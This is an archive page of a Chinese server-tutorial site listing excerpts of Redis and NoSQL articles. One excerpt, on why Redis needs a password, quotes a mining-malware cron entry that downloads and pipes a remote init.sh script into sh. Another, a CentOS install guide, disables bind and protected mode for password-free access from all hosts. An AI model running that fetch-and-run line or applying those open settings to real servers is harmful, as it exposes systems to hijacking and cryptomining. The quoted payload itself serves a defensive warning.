分类归档

服务器教程

服务器知识、操作系统教程、服务器常用软件等

FWQ
服务器教程
MongoDB、Hbase、Redis等NoSQL优劣势、应用场景
MongoDB、Hbase、Redis等NoSQL优劣势、应用场景 0浏览 收藏 本篇文章给大家分享《MongoDB、Hbase、Redis等NoSQL优劣势、应用场景》,覆盖了数据库的常见基础知识,其实一个语言的全部知识点一篇文章是不可能说完的,但希望通过这些问题,让读者对自己的掌握程度有一定的认识(B 数),从而弥补自己的不足,更好的掌握它。   NoSQL的四大种类 NoSQL数据库在整个数据库领域的江湖地位已经不言而喻。在大数据时代,虽然RDBMS很优秀,但是面对快速增长的数据规模和日渐复杂的数据模型,RDBMS渐渐力不从心,无法应对很多数据库处理任务,这时NoSQL凭借易扩展、大数据量和高性能以及灵活的数据模型成功的在数据库领域站稳了脚跟。 目前大家基本认同将NoSQL数据库分为四大类:键值存储数据库,文档型数据库,列存储数据库和图形数据库,其中每一种类型的数据库都能够解决关系型数据不能解决的问题。在实际应用中,NoSQL数据库的分类界限其实没有那么明显,往往会是多种类型的组合体。 主流nosql的详解:MongoDB、Hbase、Redis MongoDB MongoDB 是一个高性能,开源,无模式的文档型数据库,开发语言是C++。它在许多场景下可用于替代统的关系型数据库或键/值存储方式。 1.MongoDB特点  所用语言:C++  特点:保留了SQL一些友好的特性(查询,索引)。  使用许可: AGPL(发起者: Apache)  协议: Custom, binary( BSON)  Master/slave复制(支持自动错误恢复,使用 sets 复制)  内建分片机制  支持…
2024-12-01 阅读全文 →
FWQ
服务器教程
开始吧!Redis在海量数据和高并发中的优化实践
开始吧!Redis在海量数据和高并发中的优化实践 0浏览 收藏 本篇文章主要是结合我之前面试的各种经历和实战开发中遇到的问题解决经验整理的,希望这篇《开始吧!Redis在海量数据和高并发中的优化实践》对你有很大帮助!欢迎收藏,分享给更多的需要的朋友学习~ Redis 对于从事互联网技术工程师来说并不陌生,几乎所有的大中型企业都在使用 Redis 作为缓存数据库。 但是对于绝大多数企业来说只会用到它的最基础的 KV 缓存功能,还有很多 Redis 的高级功能可能都未曾认真实践过。 来自掌阅的工程师钱文品将为大家带来:《Redis 在海量数据和高并发下的优化实践》的主题分享。 他将围绕 Redis 分享在平时的日常业务开发中遇到的 9 个经典案例,希望通过此次分享可以帮助大家更好的将 Redis  的高级特性应用到日常的业务开发中来。 掌阅电子书阅读软件 ireader 的总用户量大概是 5 亿左右,月活 5000…
2024-12-01 阅读全文 →
FWQ
服务器教程
Linux-centos7怎么编译安装redis5.0.3
Linux-centos7怎么编译安装redis5.0.3 0浏览 收藏 数据库不知道大家是否熟悉?今天我将给大家介绍《Linux-centos7怎么编译安装redis5.0.3》,这篇文章主要会讲到等等知识点,如果你在看完本篇文章后,有更好的建议或者发现哪里有问题,希望大家都能积极评论指出,谢谢!希望我们能一起加油进步! 1.获取安装包https://blog.csdn.net/ct_666/article/details/111519155 获取源码包,如果没有特殊需求,必须使用新版本特性,那5.0.3版本足够。 cd /usr/local/ && wget http://download.redis.io/releases/redis-5.0.3.tar.gz 2.解压、编译 如果服务器没有安装gcc-c++编译环境,请参考https://blog.csdn.net/ct_666/article/details/111519155 解压、编译。编译成功后,删除源码包 tar -zxvf redis-5.0.3.tar.gz && cd redis-5.0.3/ && make && rm -rf ../redis-5.0.3.tar.gz 3.基本配置 配置文件:/usr/local/redis-5.0.3/redis.conf,按需设置 vi redis.conf 配置一:后台启动 # redis默认是前台启动 # 找到此行 daemonize no # 将no改为yes,设置redis后台启动 daemonize yes 配置二:设置所有主机无密码访问 # redis默认是只能本机访问 # 1.找到此行,将它注释掉 bind 127.0.0.1 # 2.将此行 protected-mode yes # 改为 protected-mode no…
2024-12-01 阅读全文 →
FWQ
服务器教程
浅谈Redis中的内存淘汰策略和过期键删除策略
浅谈Redis中的内存淘汰策略和过期键删除策略 0浏览 收藏 本篇文章主要是结合我之前面试的各种经历和实战开发中遇到的问题解决经验整理的,希望这篇《浅谈Redis中的内存淘汰策略和过期键删除策略》对你有很大帮助!欢迎收藏,分享给更多的需要的朋友学习~ redis是我们现在最常用的一个工具,帮助我们建设系统的高可用,高性能。 而且我们都知道redis是一个完全基于内存的工具,这也是redis速度快的一个原因,当我们往redis中不断缓存数据的时候,其内存总有满的时候(而且内存是很贵的东西,尽量省着点用),所以尽可能把有用的数据,或者使用频繁的数据缓存在redis中,物尽其用。 那么如果正在使用的redis内存用完了,我们应该怎么取舍redis中已存在的数据和即将要存入的数据呢,我们要怎么处理呢? redis官方提供了8种不同的淘汰策略 redis.conf 是个好东西,几乎redis的所有配置都可以在这里找到,根据conf中的说明也就能操作了 我们看下redis.conf中关于8中淘汰策略的说明(本文使用redis版本是4.0.9) volatile-lru -> Evict using approximated LRU among the keys with an expire set. allkeys-lru -> Evict any…
2024-12-01 阅读全文 →
FWQ
服务器教程
一文详解Redis为什么一定要设置密码原理
一文详解Redis为什么一定要设置密码原理 0浏览 收藏 亲爱的编程学习爱好者,如果你点开了这篇文章,说明你对《一文详解Redis为什么一定要设置密码原理》很感兴趣。本篇文章就来给大家详细解析一下,主要介绍一下密码、Redis设置,希望所有认真读完的童鞋们,都有实质性的提高。 为什么redis要设置密码? 内网环境可以不设置密码,但是个人服务器,以及线上公网服务器就有必要设置密码了。 昨天我查看了一下minio的redis事件通知,查看redis的key时发现多了几个奇怪的key。backup1,backup2,backup3。然后我猜想应该是挖矿病毒。 如下面所示:这样就将定时任务和脚本注入到了我们机器当中,就会开始执行 init.sh 脚本 backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup2 "\n\n\n*/3 * * * *…
2024-12-01 阅读全文 →
FWQ
服务器教程
RedisJson来了!比MongoDB和ElasticSearch还快!
RedisJson来了!比MongoDB和ElasticSearch还快! 0浏览 收藏 本篇文章主要是结合我之前面试的各种经历和实战开发中遇到的问题解决经验整理的,希望这篇《RedisJson来了!比MongoDB和ElasticSearch还快!》对你有很大帮助!欢迎收藏,分享给更多的需要的朋友学习~ 图片来自 包图网 下面是核心的报告内容,先上结论: 对于隔离写入(isolated writes),RedisJSON 比 MongoDB 快 5.4 倍,比 ElasticSearch 快 200  倍以上。 对于隔离读取(isolated reads),RedisJSON 比 MongoDB 快 12.7 倍,比 ElasticSearch 快 500…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis在Swift项目中的使用技巧
Redis在Swift项目中的使用技巧 收藏 学习知识要善于思考,思考,再思考!今天golang学习网小编就给大家带来《Redis在Swift项目中的使用技巧》,以下内容主要包含等知识点,如果你正在学习或准备学习数据库,就都不要错过本文啦~让我们一起来看看吧,能帮助到你就更好了! Redis在Swift项目中的使用技巧 Redis是一个高性能的数据存储系统,被广泛应用于各种类型的项目中。在Swift项目中使用Redis可以提升项目的性能和灵活性。本文将介绍一些在Swift项目中使用Redis的技巧,并提供一些代码示例。 Redis的安装和配置首先,我们需要在Swift项目中安装Redis。可以通过Homebrew等工具来安装Redis,具体安装步骤可以参考Redis的官方文档。 在安装完成后,我们需要在项目的配置文件中配置Redis的连接信息。可以使用Redis的Swift客户端库(如Redbird或RedisServerKit)来连接Redis服务器,并获取一个Redis连接实例。以下是一个使用Redbird库连接Redis服务器的示例代码: import Redbird let redis = try Redbird() guard redis.connect() else { fatalError("Failed to connect to Redis server") } Redis的基本数据操作在连接成功后,我们可以使用Redis提供的各种基本数据操作来存储和获取数据。以下是一些常用的Redis数据操作示例: 字符串操作 //…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis哨兵模式高可用的示例分析
Redis哨兵模式高可用的示例分析 0浏览 收藏 学习数据库要努力,但是不要急!今天的这篇文章《Redis哨兵模式高可用的示例分析》将会介绍到等等知识点,如果你想深入学习数据库,可以关注我!我会持续更新相关文章的,希望对大家都能有所帮助! 一、序言 Redis高可用有两种模式:哨兵模式和集群模式,本文基于哨兵模式搭建一主两从三哨兵Redis高可用服务。 1、目标与收获 一主两从三哨兵Redis服务,基本能够满足中小型项目的高可用要求,使用Supervisor监控并管理Redis实例。通过本文将完成如下目标: 哨兵模式服务规划与搭建 哨兵模式服务相比于单机版服务更加可靠,适合读写分离、数据量不是很大、要求可靠稳定性的场景。 客户端整合与读写分离 通过Spring框架对哨兵模式进行连接,完成生产环境的常见操作。 2、端口规划 端口规划是完成本方案的第一步。 二、单机模拟 在学习或开发阶段,单机模拟是利用单台物理机或虚拟机进行操作模拟,以最大程度复现本方案中间过程的一种方法。 为了简化操作,Redis服务做如下约定:数据不持久化到磁盘;服务实例以前台进程方式运行;节点的配置文件以默认配置文件为模版;无密码验证。 (一)服务规划 1、Redis实例 服务在第一次启动时明确知道第几个节点是master节点,当服务在长期运行并发生主从切换时,无法显示知道第几个节点是master节点,需要通过命令行间接查询。 节点 主机 端口 角色 额外配置 node01 127.0.0.1 6380…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis2.6将释出 新功能一览
Redis2.6将释出 新功能一览 0浏览 收藏 来到golang学习网的大家,相信都是编程学习爱好者,希望在这里学习数据库相关编程知识。下面本篇文章就来带大家聊聊《Redis2.6将释出 新功能一览》,介绍一下Redis、NoSQL,希望对大家的知识积累有所帮助,助力实战开发! Redis2.6 本来预计是在今年第一周就应该放出的,但是现在三个月快过去的,依然在跳票中。于是Redis作者@antirez发表文章向大家解释了跳票的原因,并细数了2.6版本令人激动的新功能。 废话不多说,下面就是列举到的新功能。 1.Lua脚本支持 不用说,很多同学都已经期待很久了。而跟这个功能配套的,还有对JSON 和 MessagePack 的原生支持。不得不说真的很贴心。 2.毫秒级的过期时间设定 你将可以设定毫秒级的过期时间,在实现上,误差不会超过1ms。当然,这是通过PEXIRE, PTTL, PSETEX这些新的过期设置命令来实现的。 3.放开连接数限制 彻底放开了对客户端连接数的限制,目前你的Redis连接能力就取决于你系统的并发能力了。 4. AOF low level semantics is generally more…
2024-12-01 阅读全文 →
FWQ
服务器教程
Redis发布订阅模型 vs. 消息队列:什么是最适合你的消息传递机制?
Redis发布订阅模型 vs. 消息队列:什么是最适合你的消息传递机制? 0浏览 收藏 你在学习数据库相关的知识吗?本文《Redis发布订阅模型 vs. 消息队列:什么是最适合你的消息传递机制?》,主要介绍的内容就涉及到Redis、订阅模型,如果你想提升自己的开发能力,就不要错过这篇文章,大家要知道编程理论基础和实战操作都是不可或缺的哦! Redis发布订阅是一种消息传递机制,它允许客户端订阅频道并接收来自该频道的消息。这种机制可以用于构建实时消息传递系统,例如聊天应用程序或实时数据流分析系统。 概念和应用场景 Redis发布订阅模型基于消息发布者和消息订阅者之间的一对多关系,其中消息发布者负责发布消息到一个或多个频道中,而消息订阅者负责订阅一个或多个频道并接收从这些频道中发布的消息。 Redis发布订阅模型可以用于构建各种实时应用程序,例如: 聊天应用程序:用户可以订阅一个或多个聊天频道,以接收其他用户发布到这些频道的消息。 实时数据流分析系统:数据流分析程序可以订阅一个或多个数据频道,以接收来自不同数据源的实时数据。 实现方式 Redis发布订阅模型通过使用两个命令来实现:SUBSCRIBE和PUBLISH。当客户端执行SUBSCRIBE命令时,它会开始订阅一个或多个频道,并在该频道上接收任何发布的消息。当发布者使用PUBLISH命令发布消息到一个频道时,所有订阅该频道的客户端都会接收到该消息。 例如,一个发布者可以使用以下命令向news频道发布一条消息: PUBLISH news "Breaking news: Redis发布订阅模型正式发布!" 订阅者可以使用以下命令来订阅news频道: SUBSCRIBE news 一旦订阅成功,该客户端就会接收到news频道上发布的任何消息。 优缺点 Redis发布订阅模型具有以下优点:…
2024-12-01 阅读全文 →